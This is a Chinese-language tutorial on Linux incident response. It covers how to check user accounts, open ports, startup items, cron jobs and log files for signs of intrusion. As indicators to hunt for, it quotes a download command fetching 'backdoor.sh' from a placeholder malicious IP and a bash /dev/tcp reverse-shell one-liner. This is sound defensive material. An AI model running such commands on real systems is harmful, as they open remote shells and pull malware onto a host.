应急响应linux

应急响应:

在网络安全领域,应急响应(Incident Response) 是指当网络安全事件(如黑客攻击、数据泄露、恶意软件感染等)发生时,为了最大限度减少损失、快速恢复系统正常运行、追溯事件根源并预防类似事件再次发生而采取的一系列有组织、有计划的应对措施。

在网络威胁日益复杂的背景下,即使拥有完善的防护体系,也难以完全避免安全事件。应急响应作为 "事后补救" 的关键环节,能够快速控制损失、缩短业务中断时间,同时通过复盘持续提升组织的安全能力,是网络安全防护体系中不可或缺的一部分。

linux入侵排查

查账号:

目的:发现攻击者创建的隐藏账户、特权账户滥用、弱口令账户或异常登录行为,阻断持续控制通道。

  1. 用户与权限
    • 命令:cat /etc/passwd(列所有用户)、cat /etc/sudoers(查 sudo 权限用户)、awk -F: '$3==0 {print $1}' /etc/passwd(查 UID=0 的超级用户,正常应为 root)。
    • 重点:无家目录(如/bin/false)、登录 shell 异常(如/bin/sh而非/bin/bash)的用户,或近期新增的未知用户。
  2. 登录记录
    • 命令:last(成功登录历史)、lastb(失败登录尝试)、cat /var/log/secure(CentOS)或/var/log/auth.log(Ubuntu),分析异常 IP、高频失败登录的账号。

可以查看/etc/passwd用户信息文件是否存在异常账号存在

**格式:**用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell

在这之下重点查 bin/bash,因为用bin/bash登录,说明被人添加了新用户并且可以登录。攻击者上传的后门脚本(如 reverse_shell.sh),几乎都会用 #!/bin/bash 作为解释器。查 bash 进程、启动记录,可发现脚本的执行痕迹;而用nologin大概率没被入侵,因为不能登录。

查端口:

目的:发现恶意程序监听端口、与外部 C&C 服务器(命令控制端)的连接,或未授权开放的服务端口。

  1. 命令行排查
    • netstat -tulnpss -tulnp:显示 TCP/UDP 端口及关联进程(需 root 权限)。
    • lsof -i :<端口号>:查询特定端口对应的进程。
    • 重点:非标准端口(如 3389 外的远程桌面端口、高位随机端口)、与陌生 IP 的长连接(尤其是境外 IP)。

使用 netstat 网络连接命令,分析可疑的端口,IP和PID netstat -antlp | more

如发现异常,可以查看PID对应的进程文件路径

运行 ls -l /proc/PID/exe** 或 **file /proc/PID/exe($PID 为对应的 pid 号)

使用ps aux | grep pid命令分析进程

查启动项:

目的:发现攻击者配置的恶意程序开机自启动项,阻止其持久化控制。

  1. 系统服务启动项
    • systemctl list-unit-files --type=service --state=enabled:列出开机自启服务,检查服务名称是否陌生(如 "sysupdate""networkd" 等仿冒名)。
  2. 用户级启动项
    • /etc/rc.local(开机脚本)、/etc/profile.d/(用户登录脚本),查看是否有新增的恶意命令(如wget http://恶意IP/backdoor.sh)。
    • 用户目录:~/.bashrc ~/.profile,检查是否被植入自启动命令。

可以使用 more /etc/rc.local

/etc/rc.d/rc[0~6].d

ls -l /etc/rc.d/rc3.d/

去排查启动项文件

查定时任务※:

目的:攻击者常通过定时任务执行反弹 shell、下载恶意程序等操作,需排查隐藏的周期性任务。

  1. 系统级定时任务
    • crontab -l(当前用户任务)、cat /etc/crontab(系统全局任务)。
    • 目录排查:/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/,检查是否有陌生脚本(如文件名随机、权限异常)。
  2. 异常特征
    • 任务内容含wget curl下载恶意文件、bash -i >& /dev/tcp/恶意IP/端口 0>&1(反弹 shell)等命令。

使用crontab 创建计划任务

crontab -l 列出某个用户cron服务的详细内容

-r 删除每个用户cront任务(谨慎:删除所有的计划任务)

-e 使用编辑器编辑当前的crontab文件

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件"hello world"传入tmp下的test.txt

也可以利用anacron命令实现异步定时任务调度

如:每天运行/home/shell.sh脚本

vi /etc/anacrontab

@daily 5 example.daily /bin/bash /home/backup.sh

当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机5分钟之后运行它,而不用再等待 7天。

重点排查以下目录中是否存在恶意脚本

/var/spool/cron/*

/etc/crontab

/etc/cron.d/*

/etc/cron.daily/*

/etc/cron.hourly/*

/etc/cron.monthly/*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/*

可以使用 more /etc/cron.daily/* 查看目录下所有文件

进到 /etc/cron.daily/*

这个轮转服务的功能:把每天的日志传到日志服务器。

查日志

目的:通过日志还原攻击时间线、定位入侵点(如漏洞利用、社工攻击),为溯源提供依据。

  1. 系统日志
    • /var/log/messages(系统消息):查内核事件、服务启动失败(可能因恶意程序占用端口)。
  2. 应用日志
    • Nginx/Apache 日志(/var/log/nginx/access.log):分析 Web 请求中的攻击特征(如/etc/passwd路径遍历)。

日志的默认存放位置为:/var/log

查看日志的配置情况:more /etc/rsyslog.conf

如图:

日志文件 说明
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 重点※ 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
相关推荐
叶落阁主13 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
DianSan_ERP7 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet